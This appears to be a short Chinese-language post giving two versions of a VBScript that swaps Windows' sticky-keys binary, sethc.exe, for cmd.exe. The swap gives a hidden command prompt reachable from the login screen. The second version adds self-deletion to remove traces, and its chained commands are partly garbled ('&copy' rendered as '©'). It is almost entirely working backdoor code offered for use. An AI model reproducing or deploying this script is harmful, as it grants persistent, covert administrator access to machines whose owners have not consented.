Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%/system32/sethc.exe", 0, True)
success = obj.run("cmd /c echo y| cacls %SystemRoot%/system32/sethc.exe /G %USERNAME%:F", 0, True)
success = obj.run("cmd /c copy %SystemRoot%/system32/cmd.exe %SystemRoot%/system32/acmd.exe", 0, True)
success = obj.run("cmd /c copy %SystemRoot%/system32/sethc.exe %SystemRoot%/system32/asethc.exe", 0, True)
success = obj.run("cmd /c del %SystemRoot%/system32/sethc.exe", 0, True)
success = obj.run("cmd /c ren %SystemRoot%/system32/acmd.exe sethc.exe", 0, True)
再更新.加个自删除,简化代码...
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%/system32/sethc.exe&echo y| cacls %SystemRoot%/system32/sethc.exe /G %USERNAME%:F© %SystemRoot%/system32/cmd.exe %SystemRoot%/system32/acmd.exe© %SystemRoot%/system32/sethc.exe %SystemRoot%/system32/asethc.exe&del %SystemRoot%/system32/sethc.exe&ren %SystemRoot%/system32/acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
本文介绍了一种使用VBScript(VBS)脚本的方法,通过修改Windows系统的sethc.exe文件来创建一个隐蔽的后门,该后门实际指向CMD命令提示符程序,从而实现管理员权限下的命令执行环境。
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